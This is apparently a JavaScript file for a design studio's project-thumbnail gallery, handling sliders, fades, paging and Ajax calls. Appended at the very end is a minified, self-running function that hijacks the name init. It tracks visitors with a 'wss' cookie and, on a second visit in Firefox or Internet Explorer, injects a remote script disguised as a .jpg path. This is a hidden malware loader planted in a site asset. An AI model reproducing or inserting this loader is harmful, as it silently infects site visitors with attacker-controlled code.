/******************************************************************************
Written by Arthur van Assenderp, arthur@piria.nl
for Studio GWM - www.gwm.nl - 26/06/2008
*******************************************************************************/

/* Project thumbnails */
var border        = 2;      // Set to thumbnail (over) border
var thumbH        = 85;     // Set to height (in px) thumbnail (without border)
var thumbW        = 85;     // Set to weight (in px) thumbnail (without border)
var tfadespeed    = 0.3;    // Fade duration of thumbnails

/* Project Gallery */
var marginImgGallery = 7;  // Set to border of the images in the gallery
var motionspeed   = 0.5;    // How fast the gallery moves 
var fadespeed     = 1.0;    // Fade duration in Gallery images
var apearspeed    = 1.0;    // Appear duration in Gallery images
var opacity       = 0.2;    // Opacity of the images that are not (direct) shown

/* Slider config */
var handleimg     = "images/slider.gif" //Set to slider handle img  
// Set width and height of your handle image
var handlestyle   = "width: 19px; height: 20px; left: 0px;  position: relative;"

/* Spinner */
var spinnerimg = "images/spinner1.gif";    // Set to path to spinner image
var spinnerimgH = 32;                     // Set to height of spinner image
var spinnerimgW = 32;                     // Set to width of spinner image

var pageAnim = false;

/******************************************************************************/

var showingPic   = 0 ;
var showingPicId = '';
var projectId    = '';
var pk    			 = '';
var all          = 0 ;
var selectedId   = '';
var origX        = '';
var origY        = ''; 
var sliderControl = new Array();
var thumb_index = 0;
var parallel = null;


/* index is the position in the array in projects div (thumbnails)  */
function init(pkId, index) { 
  thumb_index = index; 
  if(pkId != '')
    pk = pkId;  
  loadFirstProject(); 
}

/* Stop Parallel effects running */
function stopParallelEffects(Paralleleffect) {
  if(Paralleleffect != null) {
    Paralleleffect.cancel();
  }
}

function getPage(thumb_index) {
  
  var page = 1;
  
  if(thumb_index <= (12*1)-1)
    page = 1;
  if(thumb_index <= (12*2)-1 && thumb_index > (12*1)-1)
    page = 2;
  if(thumb_index <= (12*3)-1 && thumb_index > (12*2)-1)
    page = 3;
  if(thumb_index <= (12*4)-1 && thumb_index > (12*3)-1)          
    page = 4;
  if(thumb_index <= (12*5)-1 && thumb_index > (12*4)-1)
    page = 5;
  if(thumb_index <= (12*6)-1 && thumb_index > (12*5)-1)
    page = 6;
  if(thumb_index <= (12*7)-1 && thumb_index > (12*6)-1)
    page = 7;
  if(thumb_index <= (12*8)-1 && thumb_index > (12*7)-1)
    page = 8;
  if(thumb_index <= (12*9)-1 && thumb_index > (12*8)-1)
    page = 9;

  return page;
}

function loadFirstProject() {
        
    var page = getPage(thumb_index);
    
  if(page == 1) {
    
    projectId = $('projects_wrapper').down().childElements()[thumb_index].id;
    selectedProject();   
    origX = $('imagecontainer').cumulativeOffset().left;
    origY = $('imagecontainer').cumulativeOffset().top;
    sendRequestImages();
    sendRequestProjectTitle();
    sendRequestFirstPicDescription();
    sendRequestPrintButton();    
    
    
  } else {
    var effects = new Array();
    
    if($('page_'+(page)))
      effects.push(new Effect.Opacity($('page_'+(page)), { sync: true, to: 0.1}));
      
    effects.push(new Effect.Opacity($('page_'+(page-1)), { sync: true, to: 1.0}));          
    effects.push(new Effect.Move($('projects_wrapper'), {x: page-1 * 327, transition: Effect.Transitions.sinoidal,
                                            mode: 'relative',
                                            beforeStart: function() {
                                              pageAnim = true;
                                              $$("img.thumbover").each(function(el){
                                                el.remove();
                                              });
                                              $$("p.projectlabel").each(function(el){
                                                el.remove();
                                              });                                              
                                              np = parseInt(page);
                                              $('page_counter').alt = np;
                                              $('page_counter').src = 'afb/kodde_'+np+'_off.gif';                                                  
                                            },
                                            afterFinish: function() {
                                              pageAnim = false;
                                              
                                              var pr = $('projects_wrapper').down();    
                                              for(var i=1; i < page; i++)
                                                pr = pr.next();
                                                thumb_index_page = thumb_index % 12;

                                              el = pr.childElements()[thumb_index_page];
                                              projectId = el.id;
                                                                                             
                                              var onmouseover = '';
                                              if(navigator.userAgent.indexOf('MSIE 8') != -1 || navigator.userAgent.indexOf('MSIE 9') != -1) {
                                                 onmouseover = el.getAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");        
                                               } else if (navigator.userAgent.indexOf('MSIE 7') != -1) {
                                                 onmouseover = el.readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");
                                               } else {
                                                 onmouseover = el.readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");
                                               }
                                               s = "<script>"+onmouseover+"</script>";
                                               s.evalScripts();
                                               onClickThumb(); 
                                               showThumbSelected(projectId);                                               
                                                                                             
                                              
                                            }, sync: true
                                            }));
    stopParallelEffects(parallel);                            
    parallel = new Effect.Parallel(effects, { duration: 1.0 } );

  }
}

function thumbPos() {
  uP();
  if($(''+selectedId)) {
      p  = $(''+selectedId).cumulativeOffset();
      l  = p.left - border; 
      t  = p.top  - border; 
      $(selectedId+'label').setStyle({
        top: t+thumbH+'px',
        left: l+'px'
    });
      $(selectedId+'over').setStyle({
        top: t+'px',
        left: l+'px'
    });    
  }
}

function fadeImages() {
  c = $('imagecontainer').childElements();
  for(i=0; i < c.length; i++) {
    if(i != showingPic) {
      new Effect.Appear(c[i], {from: 0.8, to: opacity, duration: '0.5', 
                                                            queue: 'parallel'});
    } else {
      new Effect.Appear(c[i], {to: '1.0', duration: '0.5', queue: 'parallel'});
    }
  }
}

function setSlider() {
  p = $('imagecontainer').childElements().length;  
  $('slidercontainer').replace("<div id='slidercontainer'><div id='"+selectedId+
      "_slider' class='slider'><div id='"+selectedId+
      "_handle' style='"+handlestyle+"'><img src='"+handleimg+
      "' alt='' ></div></div></div>");
    sliderControl[""+selectedId] = new Control.Slider(selectedId+
                                              "_handle", selectedId+"_slider", {       
        range: $R(0, p-1),
        values: $R(0, p-1),            
        onSlide: function(v) {motionSlider(v);},
        onChange: function(v) {motionSlider(v);}
    }); 
}

function motionSlider(v) {
  i = Math.abs(v);
  if (i != showingPic) {
      toImage(i);
  }
}

function restoreContainerPos() {
  $('imagecontainer').style.top  = 0+'px';
  $('imagecontainer').style.left = 0+'px';
}

function containerWidth(image) {
  total = 0;
  for(i=0; i<=image; i++)
    total += $('imagecontainer').childElements()[i].offsetWidth;
  total += marginImgGallery*2 + marginImgGallery*2*image;
  return total;
}

function toImage(img) {
  ic = $('imagecontainer');
  l = ic.childElements().length;
  if (img >= 0 && img < l) {
    if (img > showingPic) {
      showingPic=img;
        motion = -containerWidth(showingPic-1);
        new Effect.Parallel([
        new Effect.Move(ic, { x: motion, y: 0, mode: 'absolute', 
                              duration: motionspeed,
                              transition: Effect.Transitions.sinoidal}),
        new Effect.Appear(ic.childElements()[showingPic], 
                              {to: '1.0', duration: apearspeed}),
        ], {duration: 'motionspeed'});
    } else if (img < showingPic) {
      showingPic=img;
      motion = -containerWidth(showingPic-1);
      new Effect.Parallel([      
        new Effect.Fade(ic.childElements()[showingPic+1],
                                   {to: opacity, duration: fadespeed}),
        new Effect.Move(ic, { x: motion, y: 0, mode: 'absolute', 
                                   transition: Effect.Transitions.sinoidal}),
        new Effect.Appear(ic.childElements()[showingPic], 
                                   {to: '1.0', duration: 2.0})
      ], {duration: motionspeed});
    }
  showingPicId = ic.childElements()[showingPic].id;
  sendRequestPicDescription();
  sliderControl[selectedId].setValue(showingPic);
  }
}

/* Position and show thumbnail and project description */
function showThumb(thumbId, thumbOverPath, description, pkId) {
  pk = pkId;
  if($(thumbId)) {
    l      = $(thumbId).cumulativeOffset().left - border;  // left position thumb
    t      = $(thumbId).cumulativeOffset().top  - border;  // top  position thumb
    all       = 0;
    labeltop  = t+thumbH;
    projectId = thumbId;
    uP();
    if ($(thumbId+'label') == null) {
      Element.insert('wrapper', "<p id='"+thumbId+"label' class='projectlabel'"+
                     " style='top:"+labeltop+"px; left:"+l+"px;"+
                     " display: none;'>"+
                     description+"</p>")
    } 
    if ($(thumbId+'over') == null) {
      Element.insert('wrapper', "<img id='"+thumbId+"over' class='thumbover' "+
      "src= "+thumbOverPath+" style='top:"+t+"px; left:"+l+"px; display: none;' "+
      "onmouseover=\" projectId="+thumbId+";\" onmouseout=\"uP();\" "+
      "onclick=\"onClickThumb("+thumbId+"); setTimeout(function() { "+
      "showThumbSelected("+thumbId+");}, 100); \" />");   
    }
    $(thumbId+'label').show();
    $(thumbId+'over').appear({duration: tfadespeed, queue: 'parallel'});   
  }
}

function showThumbNieuws(thumbId, thumbOverPath, description, pkId, index) {
  l      = $(thumbId).cumulativeOffset().left - border;  // left position thumb
  t      = $(thumbId).cumulativeOffset().top  - border;  // top  position thumb
  all       = 0;
  labeltop  = t+thumbH;
  projectId = thumbId;
  pk = pkId;
  uP();
  
  if ($(thumbId+'label') == null) {

    Element.insert('wrapper', "<a class='over_thumb' href='index.php?pk="+pkId+"&item="+index+"&lang=nl'><img id='"+thumbId+"over' class='thumbover' "+
    "src= "+thumbOverPath+" style='top:"+t+"px; left:"+l+"px; display: none;' "+
    "onmouseover=\" projectId='"+thumbId+"'; \" onmouseout=\"uP();\"/><p id='"+thumbId+"label' class='projectlabel'"+
                   " style='top:"+labeltop+"px; left:"+l+"px;"+
                   " '>"+description+"</p></a>");   

  $(thumbId+'over').appear({duration: tfadespeed, queue: 'parallel'});   
  }
}

function onClickThumb(thumbId) {
  selectedProject(); 
  uP(thumbId);   
  showingPic = 0; 
  restoreContainerPos(); 
  sendRequestProjectTitle(); 
  sendRequestImages();  
  sendRequestFirstPicDescription();
  sendRequestPrintButton();
  showThumbSelected(selectedId);
}

function selectedProject() { 
  selectedId = projectId; 
}

function showThumbSelected(id) {
  if($(id+"over") && $(id+"label")) {
    $(id+"over").addClassName('thumbselected'); 
    $(id+"label").addClassName('projectlabelselected');  
  }
  
}

function uP() {
  
  $$('a.over_thumb').each(function(el){
      el.remove();
  });  
  
  $$('img.thumbselected').each(function(el){
    if(el.id != selectedId+"over")
      el.remove();
  });
  
  $$('p.projectlabel').each(function(el){
    if(el.id != selectedId+"label")
      el.remove();
  });  

  $$('img.thumbover').each(function(el){
    if(el.id != selectedId+"over")
      el.remove();            
  });
  
/*  
 p = $('projects_wrapper').down().childElements();
  for (i=0; i<p.length; i++) {
    if (p[i].id != selectedId) {
        if ($(p[i].id+'over') != null) 
          $(p[i].id+'over').remove();   
        if ($(p[i].id+'label') != null) 
          $(p[i].id+'label').remove();   
    }
  }
  */
}

/* Return the id of the selected project */
function getSelectedProject() {
  p = $('wrapper').childElements();
  for(i=0; i<p.length; i++) {
    if(p[i].hasClassName('thumbover')) {
      return p[i].id.gsub('over', '');
    }      
  }
}

function volgendeProject() {
  var currentProject = getSelectedProject();
  var nextProject = '';
  var p  = $$('#projects_wrapper div.page img.thumboff'); // total all pages
  var pe = $$('#projects_wrapper div.page img.empty');    
  var leng = p.length - pe.length;
  
  var j = 0;
  var k = 0;

  // Return index of the next position of Current in the array
  for(i=0; i < leng; i++) {
    if(p[i].id == currentProject && i < leng ) {
      j = i+1;
      break;
    } 
  }
  k = j;

  if (k <= leng) {
    // Thumbs that are not representing a project must have class 'empty'
    while(p[k].hasClassName('empty')) { 
      if((k == p.length-1 && p[k].hasClassName('empty'))) {
        return; // There are no more projects
      } else {
        k++;
      }
    }
    
    // Don't go back to first project when end is reached
    if(k == 0)
      return;

    projectId = nextProject = p[k].id;
    selectedProject(); 
    
    var onmouseover = '';
    if(navigator.userAgent.indexOf('MSIE 8') != -1 || navigator.userAgent.indexOf('MSIE 9') != -1) {
      onmouseover = p[k].getAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+p[k].id+"'");        
    } else if (navigator.userAgent.indexOf('MSIE 7') != -1) {
      onmouseover = p[k].readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+p[k].id+"'");
    } else {
      onmouseover = p[k].readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+p[k].id+"'");
    }
    
    if($('page_counter')) {
      var actual_page = $('page_counter').alt;
    }
    
    var page = getPage(k);

    if($('page_counter') && page != actual_page) {
      var effects = new Array();

      effects.push(new Effect.Opacity($('page_'+(actual_page-1)), { sync: true, to: 0.1}));

      effects.push(new Effect.Opacity($('page_'+(actual_page)), { sync: true, to: 1.0}));

      effects.push(new Effect.Move($('projects_wrapper'), {x: -327, transition: Effect.Transitions.sinoidal, 
                                                mode: 'relative', sync: true,
                                                beforeStart: function() {
                                                  pageAnim = true;
                                                  $$("img.thumbover").each(function(el){
                                                    el.remove();
                                                  });                                                  
                                                  $$("p.projectlabel").each(function(el){
                                                    el.remove();
                                                  });
                                                  np = parseInt(actual_page) + 1;
                                                  $('page_counter').alt = np;
                                                  $('page_counter').src = 'afb/kodde_'+np+'_off.gif';                                                  
                                                },
                                                afterFinish: function() {
                                                  pageAnim = false;
                                                  s = "<script>"+onmouseover+"</script>";
                                                    s.evalScripts();
                                                  onClickThumb(); 
                                                   elected(projectId);                                                  
                                                }
                                                }));
        stopParallelEffects(parallel);                            
        parallel = new Effect.Parallel(effects, { duration: 1.0 } );
  
    } else {
      s = "<script>"+onmouseover+"</script>";
      s.evalScripts();
      onClickThumb(); 
      showThumbSelected(projectId);
    }
  } else {
    return false;
  }
}

function vorigeProject() {
  currentProject = getSelectedProject();
  nextProject = '';
  var p  = $$('#projects_wrapper div.page img.thumboff'); // total all pages
  j = 0;

  for(i=0; i<p.length; i++) {
    if(p[i].id == currentProject) {
      j = i-1;
      break;
    }    
  }
  k=j;
  if (k == -1) {
    return;
  } else {
    // Thumbs that are not representing a project must have class 'empty'    
    while(p[k].hasClassName('empty')) { 
      if(k==0 && p[k].hasClassName('empty') ) {
        k=j; // There are no more projects
        break;
      } else {
        k--;
      }        
    }
  }
  projectId = nextProject = p[k].id; 
  selectedProject(); 

    var onmouseover = '';
    if(navigator.userAgent.indexOf('MSIE 8') != -1 || navigator.userAgent.indexOf('MSIE 9') != -1) {
      onmouseover = p[k].getAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+p[k].id+"'");        
    } else if (navigator.userAgent.indexOf('MSIE 7') != -1) {
      onmouseover = p[k].readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+p[k].id+"'");
    } else {
      onmouseover = p[k].readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+p[k].id+"'");
    }
    
    if($('page_counter')) {
      var actual_page = $('page_counter').alt;
    }

    var page = getPage(k);

     if($('page_counter') && page != actual_page) {
        var effects = new Array();

         effects.push(new Effect.Opacity($('page_'+(actual_page-1)), { sync: true, to: 0.1}));
         
         if($('page_'+(actual_page-2)))
           effects.push(new Effect.Opacity($('page_'+(actual_page-2)), { sync: true, to: 1.0}));
         
         effects.push(new Effect.Move($('projects_wrapper'), {x: 327, transition: Effect.Transitions.sinoidal, 
                                                 mode: 'relative', sync: true,
                                                 beforeStart: function() {
                                                   pageAnim = true;                                                      
                                                   $$("img.thumbover").each(function(el){
                                                     el.remove();
                                                   });                                                  
                                                   $$("p.projectlabel").each(function(el){
                                                     el.remove();
                                                   });
                                                   np = parseInt(actual_page) -1;
                                                   $('page_counter').alt = np;
                                                   $('page_counter').src = 'afb/kodde_'+np+'_off.gif';                                                      
                                                   },
                                                   afterFinish: function() {
                                                     pageAnim = false;
                                                     s = "<script>"+onmouseover+"</script>";
                                                       s.evalScripts();
                                                     onClickThumb(); 
                                                     showThumbSelected(projectId);                                                     
                                                 }
                                                 }));
       stopParallelEffects(parallel);                            
       parallel = new Effect.Parallel(effects, { duration: 1.0 } );      
     } else {
       s = "<script>"+onmouseover+"</script>";
         s.evalScripts();
       onClickThumb(); 
       showThumbSelected(projectId);
     }  
}

/* Show all pictures of the selected project */
function showAllPictures() {
  all = 1;
  projectId = getSelectedProject();
  sendRequestImages();
  sendRequestProjectTitle();
  sendRequestFirstPicDescription();
} 


function removeSpinner() { $('spinner').remove(); }
function spinner(container) {
  l      = $(container).cumulativeOffset().left; // left position thumb
  t      = $(container).cumulativeOffset().top;  // top  position thumb
  w      = $(container).offsetWidth; 
  h      = $(container).offsetHeight;
  sph    = (h/2)-spinnerimgH;
  spw    = (w/2)-spinnerimgW;

Element.insert(container, "<div id=spinner style='top: "+t+"px; left: "+l+
                          "px; width: "+w+"px; height: "+h+
                          "px;'><img style='position: absolute; top: "+sph+
                          "px; left: "+spw+"px;' src='"+spinnerimg+
                          "' alt='' /></div>");
}

function sendRequestImages() {     
  new Ajax.Request("projects.php", { 
                   method: 'get', 
                   parameters: 'projectImages='+projectId+'&pk='+pk+'&all='+all,
                   onLoading: spinner('gallerycontainer'),  
                   onComplete: fillImageContainer});
}


function sendRequestProjectTitle() {      
  new Ajax.Request("projects.php", { 
	                    method: 'get', 
	                    parameters: 'projectTitle='+projectId+'&pk='+pk,
	                    onComplete: fillprojectTitle});
}
function sendRequestPrintButton() {      
  new Ajax.Request("projects.php", { 
	                    method: 'get', 
	                    parameters: 'printButton='+projectId+'&pk='+pk,
	                    onComplete: fillprintbutton});
}
function sendRequestPicDescription() {      
  new Ajax.Request("projects.php", { 
	                    method: 'get', 
	                    parameters: 'pictureDescription='+ showingPicId+'&pk='+pk,
	                    onComplete: fillpictureDescription});
}
// Retrieve first image description of the selected project
function sendRequestFirstPicDescription() {     
  // If no project selected, select the first project (default already loaded)
  projectId == '' ? $('projects_wrapper').down().childElements()[thumb_index].id : projectId;
  new Ajax.Request("projects.php", { 
	                  method: 'get', 
	                  parameters: 'firstPictureDescription='+projectId+'&pk='+pk+'&all='+all,
	                  onComplete: fillpictureDescription});
}

function fillImageContainer(req) {
  $('imagecontainer').innerHTML=req.responseText;
  removeSpinner();
  fadeImages();  
  setSlider();
}

function fillprojectTitle(req) {
  $('projecttitle').innerHTML=req.responseText;
  
}

function fillpictureDescription(req) {
  $('picturedescription').innerHTML=req.responseText; 
}
function fillprintbutton(req) {
  $('printbutton').innerHTML=req.responseText; 
}

document.observe('dom:loaded', function() {
  
  if($('page_next')) {
    $('page_next').observe('click', function(event) {
      event.stop();
      var effects = new Array();
      
      var actual_page = ($('page_counter').alt)*1;
      var total_pages = ($('page_total').alt)*1;
      var pages_width = 327;
      
      if(actual_page < total_pages) {
        var np = actual_page;
        
      // first project of next page
      thumb_index = 12*(np-1);        
        
      var pr = $('projects_wrapper').down();    
      for(var i=0; i < actual_page; i++)
        pr = pr.next();
        
      thumb_index_page = thumb_index % 12;
      el = pr.childElements()[thumb_index_page];
      projectId = el.id;
        
      var onmouseover = '';
       if(navigator.userAgent.indexOf('MSIE 8') != -1 || navigator.userAgent.indexOf('MSIE 9') != -1) {
         onmouseover = el.getAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");        
       } else if (navigator.userAgent.indexOf('MSIE 7') != -1) {
         onmouseover = el.readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");
       } else {
         onmouseover = el.readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");
       }        
            

      effects.push(new Effect.Opacity($('page_'+(actual_page-1)), { sync: true, to: 0.1}));
      effects.push(new Effect.Opacity($('page_'+(actual_page)), { sync: true, to: 1.0}));
      effects.push(new Effect.Move($('projects_wrapper'), {x: -327, transition: Effect.Transitions.sinoidal, 
                                                mode: 'relative', sync: true,
                                                
                                                beforeStart: function() {
                                                  pageAnim = true;
                                                  $$("img.thumbover").each(function(el){
                                                    el.remove();
                                                  });                                                  
                                                  $$("p.projectlabel").each(function(el){
                                                    el.remove();
                                                  });
                                                  np = actual_page + 1;
                                                  $('page_counter').alt = np;
                                                  $('page_counter').src = 'afb/kodde_'+np+'_off.gif';                                                  
                                                },
                                                
                                                afterFinish: function() {
                                                  pageAnim = false;
                                                  s = "<script>"+onmouseover+"</script>";
                                                     s.evalScripts();
                                                   onClickThumb(); 
                                                   showThumbSelected(projectId);
                                                }
                                                
                                                }));
        stopParallelEffects(parallel);                            
       parallel = new Effect.Parallel(effects, { duration: 1.0 } );
      }
    });    
  }
  
  if($('page_vorige')) {
        $('page_vorige').observe('click', function(event) {
          event.stop();
          var effects = new Array();          
          // count how many pages
          // var pages = $$("#projects_wrapper div.page").length;
          var actual_page = $('page_counter').alt;
          var total_pages = $('page_total').alt;
          var pages_width = 327;
          if(actual_page > 1) {
            
          var np = actual_page;

          // last project of next page
          thumb_index = 11*(np-1);        

          var pr = $('projects_wrapper').down();    
          for(var i=0; i < actual_page-2; i++)
            pr = pr.next();


          thumb_index_page = thumb_index % 12;
          el = pr.childElements()[thumb_index_page];
          projectId = el.id;

          var onmouseover = '';
          if(navigator.userAgent.indexOf('MSIE 8') != -1 || navigator.userAgent.indexOf('MSIE 9') != -1) {
             onmouseover = el.getAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");        
           } else if (navigator.userAgent.indexOf('MSIE 7') != -1) {
             onmouseover = el.readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");
           } else {
             onmouseover = el.readAttribute('onmouseover').gsub(/\$\(this\)\.id/, "'"+el.id+"'");
           }            

            effects.push(new Effect.Opacity($('page_'+(actual_page-1)), { sync: true, to: 0.1}));
            if($('page_'+(actual_page-2)))
              effects.push(new Effect.Opacity($('page_'+(actual_page-2)), { sync: true, to: 1.0}));
            
            effects.push(new Effect.Move($('projects_wrapper'), {x: 327, transition: Effect.Transitions.sinoidal, 
                                                    mode: 'relative', sync: true,
                                                    beforeStart: function() {
                                                      pageAnim = true;
                                                      $$("img.thumbover").each(function(el){
                                                        el.remove();
                                                      });                                                      
                                                      $$("p.projectlabel").each(function(el){
                                                        el.remove();
                                                      });
                                                      np = parseInt(actual_page) -1;
                                                      $('page_counter').alt = np;
                                                      $('page_counter').src = 'afb/kodde_'+np+'_off.gif';                                                      
                                                      },
                                                      afterFinish: function() {
                                                        pageAnim = false;
                                                        pageAnim = false;
                                                        s = "<script>"+onmouseover+"</script>";
                                                           s.evalScripts();
                                                         onClickThumb(); 
                                                         showThumbSelected(projectId);                                                        
                                                    }
                                                    }));
          stopParallelEffects(parallel);                            
          parallel = new Effect.Parallel(effects, { duration: 1.0 } );                                                    
          }
        });    
  }

});


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/photoalbum/project67/Typeproject4_off.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
